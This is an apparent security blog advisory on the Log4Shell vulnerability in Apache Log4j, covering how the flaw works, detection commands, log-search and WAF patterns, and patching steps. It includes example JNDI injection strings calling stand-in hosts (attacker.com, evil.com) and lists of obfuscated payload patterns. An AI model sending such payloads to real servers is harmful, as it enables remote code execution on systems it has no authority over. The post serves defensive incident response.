Log4j: Responding to CVE-2021-44228

December 13, 2021

Last Thursday, a critical vulnerability in Apache Log4j was publicly disclosed. CVE-2021-44228, nicknamed “Log4Shell,” is a remote code execution vulnerability affecting Log4j 2.x versions prior to 2.15.0. It’s trivial to exploit, extremely widespread, and already being actively exploited.

Here’s what you need to know and do.

Understanding the Vulnerability

What Is It?

vulnerability_summary:
  cve: CVE-2021-44228
  cvss: 10.0 (Critical)
  affected: Apache Log4j 2.0-beta9 to 2.14.1
  type: Remote Code Execution (RCE)

  mechanism:
    - Log4j supports JNDI lookups in log messages
    - Attacker sends malicious string: ${jndi:ldap://attacker.com/exploit}
    - Log4j fetches and executes remote code
    - Full server compromise possible

  severity: |
    - Trivial to exploit (single HTTP request)
    - Unauthenticated
    - No user interaction required
    - Log4j is ubiquitous in Java ecosystem

Attack Vector

Attacker sends malicious request:
GET /api/users HTTP/1.1
User-Agent: ${jndi:ldap://evil.com/a}

                    │
                    ▼

Application logs the User-Agent:
log.info("Request from: " + userAgent);

                    │
                    ▼

Log4j sees ${jndi:ldap://...} and makes request:
LDAP lookup to evil.com

                    │
                    ▼

Evil LDAP server returns malicious Java class:
Server compromised via RCE

Why It’s So Bad

severity_factors:
  ubiquity:
    - Log4j is in countless Java applications
    - Many don't know they have it (transitive dep)
    - Cloud services, enterprise software, everything

  ease_of_exploitation:
    - Single request
    - Many injection points (headers, params, anything logged)
    - Scanners and exploits widely available

  impact:
    - Full remote code execution
    - Run any command on server
    - Lateral movement, data exfiltration
    - Already being used for cryptominers, ransomware

Detection

Finding Vulnerable Systems

# Search for Log4j in your codebase
# Java projects
find . -name "pom.xml" -exec grep -l "log4j" {} \;
find . -name "build.gradle" -exec grep -l "log4j" {} \;

# JAR files
find . -name "log4j*.jar" -o -name "*log4j*"

# Check Log4j version in JAR
unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep "Implementation-Version"

# Scan containers
for image in $(docker images --format "{{.Repository}}:{{.Tag}}"); do
  echo "Scanning $image"
  docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
    aquasec/trivy image --severity CRITICAL $image | grep -i log4j
done

Scanning Tools

scanning_tools:
  syft_grype:
    # Generate SBOM and scan
    commands:
      - syft packages dir:. -o json > sbom.json
      - grype sbom:sbom.json

  trivy:
    # Container and filesystem scanning
    command: trivy fs --severity CRITICAL .

  log4j_scan:
    # Specific Log4j scanner
    repo: https://github.com/fullhunt/log4j-scan
    usage: python3 log4j-scan.py -u https://target.com

  nessus_qualys:
    - Commercial scanners have Log4j plugins
    - Scan your network

Log Analysis

# Search logs for exploitation attempts
log_patterns:
  - "${jndi:"
  - "${jndi:ldap:"
  - "${jndi:rmi:"
  - "${jndi:dns:"
  - "${lower:j}"  # Obfuscation attempt
  - "${::-j}"     # Obfuscation attempt

# CloudWatch Logs Insights
cloudwatch_query: |
  fields @timestamp, @message
  | filter @message like /\$\{jndi:/
  | sort @timestamp desc
  | limit 1000

# Splunk
splunk_query: |
  index=* "${jndi:" OR "${lower:" OR "${upper:"
  | stats count by sourcetype, source

Immediate Response

Step 1: Identify Exposure

priority_assessment:
  critical:
    - Internet-facing Java applications
    - Applications processing user input
    - Services with known Log4j usage

  high:
    - Internal Java applications
    - Build systems
    - CI/CD pipelines

  medium:
    - Development environments
    - Internal tools

Step 2: Mitigate

mitigation_options:
  option_1_upgrade:
    action: Upgrade to Log4j 2.17.0+
    pros: Complete fix
    cons: May require testing, downtime
    recommendation: Best option if feasible

  option_2_jvm_flag:
    action: Set JVM flag
    command: -Dlog4j2.formatMsgNoLookups=true
    pros: Quick, no code change
    cons: Doesn't work for all versions
    note: Works for 2.10.0+

  option_3_remove_class:
    action: Remove JndiLookup class from JAR
    command: |
      zip -q -d log4j-core-*.jar \
        org/apache/logging/log4j/core/lookup/JndiLookup.class
    pros: Works for older versions
    cons: Modifies JAR

  option_4_waf:
    action: Block patterns at WAF/proxy
    patterns:
      - "${jndi:"
      - Various obfuscation patterns
    pros: Quick protection
    cons: Can be bypassed, false positives
    note: Defense in depth only

  priority: Upgrade > JVM flag > Remove class > WAF

Step 3: Patch

<!-- Maven: Update to 2.17.0+ -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.1</version>
</dependency>

<!-- Force transitive dependency version -->
<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.17.1</version>
        </dependency>
    </dependencies>
</dependencyManagement>
// Gradle: Force version
configurations.all {
    resolutionStrategy.eachDependency { DependencyResolveDetails details ->
        if (details.requested.group == 'org.apache.logging.log4j') {
            details.useVersion '2.17.1'
        }
    }
}

Kubernetes/Container Response

# Patch running containers
immediate_actions:
  - Rebuild and redeploy images with patched Log4j
  - For running pods, use JVM flag via environment:
    env:
      - name: JAVA_TOOL_OPTIONS
        value: "-Dlog4j2.formatMsgNoLookups=true"

# Network policy to block outbound LDAP/RMI
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-suspicious-outbound
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 10.0.0.0/8  # Internal only
    - ports:
        - port: 443
        - port: 53
          protocol: UDP
    # Block: 389 (LDAP), 636 (LDAPS), 1099 (RMI)

Vendor/Third-Party Software

vendor_assessment:
  questions:
    - Does your software use Log4j?
    - What version?
    - When will you release a patch?
    - What mitigations are available now?

  common_affected:
    - VMware products
    - Cisco products
    - Apache products (Solr, Kafka, etc.)
    - Elastic products
    - Many enterprise software

  resources:
    - Vendor security advisories
    - CISA affected products list
    - Community-maintained lists

Lessons for the Future

takeaways:
  dependency_awareness:
    - Know what's in your software
    - Software Bill of Materials (SBOM)
    - Regular dependency scanning

  defense_in_depth:
    - Network segmentation
    - Egress filtering
    - Runtime protection

  incident_readiness:
    - Asset inventory
    - Rapid deployment capability
    - Communication plans

  supply_chain:
    - Transitive dependencies matter
    - Open source security is everyone's job
    - Invest in dependency management

Key Takeaways

This is a “drop everything” vulnerability. If you haven’t already, start scanning and patching now.